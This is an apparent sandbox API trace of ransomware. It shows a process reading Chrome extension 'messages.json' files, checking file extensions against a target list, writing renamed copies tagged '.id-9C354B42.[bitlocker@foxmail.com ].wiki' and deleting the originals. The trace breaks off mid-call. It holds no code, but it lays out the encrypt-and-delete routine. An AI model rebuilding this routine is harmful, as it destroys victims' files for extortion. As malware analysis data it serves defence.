lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\messages.json") returned 153 [0174.157] lstrlenW (lpString=".1cd") returned 4 [0174.157] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.158] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\messages.json") returned 153 [0174.158] lstrlenW (lpString=".jpg") returned 4 [0174.158] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.158] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0174.158] lstrlenW (lpString="messages.json") returned 13 [0174.158] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0174.158] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=179) returned 1 [0174.158] CloseHandle (hObject=0x1ac) returned 1 [0174.158] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\messages.json")) returned 0x2020 [0174.158] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0174.159] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0174.159] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.159] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.159] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0174.159] GetLastError () returned 0x0 [0174.159] ReadFile (in: hFile=0x1ac, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0xb3, lpOverlapped=0x0) returned 1 [0174.160] WriteFile (in: hFile=0x1b4, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xc0, lpOverlapped=0x0) returned 1 [0174.161] ReadFile (in: hFile=0x1ac, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0174.161] WriteFile (in: hFile=0x1b4, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0174.162] SetEndOfFile (hFile=0x1b4) returned 1 [0174.162] CloseHandle (hObject=0x1b4) returned 1 [0174.162] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.162] SetEndOfFile (hFile=0x1ac) returned 1 [0174.162] CloseHandle (hObject=0x1ac) returned 1 [0174.163] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0174.163] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\messages.json")) returned 1 [0174.163] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\messages.json") returned 153 [0174.163] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\messages.json") returned 153 [0174.163] lstrlenW (lpString=".doc") returned 4 [0174.163] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.163] lstrlenW (lpString=".docx") returned 5 [0174.163] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.163] lstrlenW (lpString=".pdf") returned 4 [0174.163] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.163] lstrlenW (lpString=".xls") returned 4 [0174.163] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.163] lstrlenW (lpString=".xlsx") returned 5 [0174.163] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.163] lstrlenW (lpString=".ppt") returned 4 [0174.163] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.163] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\messages.json") returned 153 [0174.163] lstrlenW (lpString=".zip") returned 4 [0174.164] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.164] lstrlenW (lpString=".rar") returned 4 [0174.164] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.164] lstrlenW (lpString=".bz2") returned 4 [0174.164] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.164] lstrlenW (lpString=".7z") returned 3 [0174.164] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.164] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\messages.json") returned 153 [0174.164] lstrlenW (lpString=".dbf") returned 4 [0174.164] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.164] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\messages.json") returned 153 [0174.164] lstrlenW (lpString=".1cd") returned 4 [0174.164] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.164] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\messages.json") returned 153 [0174.164] lstrlenW (lpString=".jpg") returned 4 [0174.164] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.164] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\messages.json") returned 153 [0174.164] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\messages.json") returned 153 [0174.164] lstrlenW (lpString=".doc") returned 4 [0174.164] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.164] lstrlenW (lpString=".docx") returned 5 [0174.164] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.164] lstrlenW (lpString=".pdf") returned 4 [0174.164] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.164] lstrlenW (lpString=".xls") returned 4 [0174.164] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.164] lstrlenW (lpString=".xlsx") returned 5 [0174.425] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.425] lstrlenW (lpString=".ppt") returned 4 [0174.425] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.425] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\messages.json") returned 153 [0174.425] lstrlenW (lpString=".zip") returned 4 [0174.425] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.426] lstrlenW (lpString=".rar") returned 4 [0174.426] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.426] lstrlenW (lpString=".bz2") returned 4 [0174.439] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.439] lstrlenW (lpString=".7z") returned 3 [0174.439] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.439] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\messages.json") returned 153 [0174.439] lstrlenW (lpString=".dbf") returned 4 [0174.448] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.448] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\messages.json") returned 153 [0174.448] lstrlenW (lpString=".1cd") returned 4 [0174.454] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.455] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\messages.json") returned 153 [0174.455] lstrlenW (lpString=".jpg") returned 4 [0174.455] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.455] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0174.455] lstrlenW (lpString="messages.json") returned 13 [0174.455] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0174.455] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=179) returned 1 [0174.455] CloseHandle (hObject=0x198) returned 1 [0174.455] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\messages.json")) returned 0x2020 [0174.456] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0174.456] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0174.456] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.456] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.456] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0174.456] GetLastError () returned 0x0 [0174.456] ReadFile (in: hFile=0x198, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0xb3, lpOverlapped=0x0) returned 1 [0174.457] WriteFile (in: hFile=0x124, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xc0, lpOverlapped=0x0) returned 1 [0174.458] ReadFile (in: hFile=0x198, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0174.458] WriteFile (in: hFile=0x124, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0174.458] SetEndOfFile (hFile=0x124) returned 1 [0174.458] CloseHandle (hObject=0x124) returned 1 [0174.459] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.459] SetEndOfFile (hFile=0x198) returned 1 [0174.459] CloseHandle (hObject=0x198) returned 1 [0174.459] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0174.460] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\messages.json")) returned 1 [0174.460] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\messages.json") returned 153 [0174.460] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\messages.json") returned 153 [0174.460] lstrlenW (lpString=".doc") returned 4 [0174.460] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.460] lstrlenW (lpString=".docx") returned 5 [0174.460] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.460] lstrlenW (lpString=".pdf") returned 4 [0174.460] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.460] lstrlenW (lpString=".xls") returned 4 [0174.460] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.460] lstrlenW (lpString=".xlsx") returned 5 [0174.460] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.460] lstrlenW (lpString=".ppt") returned 4 [0174.460] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.460] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\messages.json") returned 153 [0174.460] lstrlenW (lpString=".zip") returned 4 [0174.460] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.460] lstrlenW (lpString=".rar") returned 4 [0174.460] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.460] lstrlenW (lpString=".bz2") returned 4 [0174.460] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.460] lstrlenW (lpString=".7z") returned 3 [0174.460] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.460] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\messages.json") returned 153 [0174.461] lstrlenW (lpString=".dbf") returned 4 [0174.461] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.461] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\messages.json") returned 153 [0174.461] lstrlenW (lpString=".1cd") returned 4 [0174.461] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.461] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\messages.json") returned 153 [0174.461] lstrlenW (lpString=".jpg") returned 4 [0174.461] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.461] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\messages.json") returned 153 [0174.461] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\messages.json") returned 153 [0174.461] lstrlenW (lpString=".doc") returned 4 [0174.461] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.461] lstrlenW (lpString=".docx") returned 5 [0174.461] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.461] lstrlenW (lpString=".pdf") returned 4 [0174.461] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.461] lstrlenW (lpString=".xls") returned 4 [0174.461] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.461] lstrlenW (lpString=".xlsx") returned 5 [0174.461] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.461] lstrlenW (lpString=".ppt") returned 4 [0174.461] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.461] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\messages.json") returned 153 [0174.461] lstrlenW (lpString=".zip") returned 4 [0174.461] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.461] lstrlenW (lpString=".rar") returned 4 [0174.461] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.461] lstrlenW (lpString=".bz2") returned 4 [0174.461] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.461] lstrlenW (lpString=".7z") returned 3 [0174.462] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.462] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\messages.json") returned 153 [0174.462] lstrlenW (lpString=".dbf") returned 4 [0174.462] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.462] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\messages.json") returned 153 [0174.462] lstrlenW (lpString=".1cd") returned 4 [0174.462] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.462] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\messages.json") returned 153 [0174.462] lstrlenW (lpString=".jpg") returned 4 [0174.462] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.462] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0174.462] lstrlenW (lpString="messages.json") returned 13 [0174.462] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0174.462] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=179) returned 1 [0174.462] CloseHandle (hObject=0x198) returned 1 [0174.463] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\messages.json")) returned 0x2020 [0174.463] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0174.463] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0174.463] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.463] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.463] CreateFileW 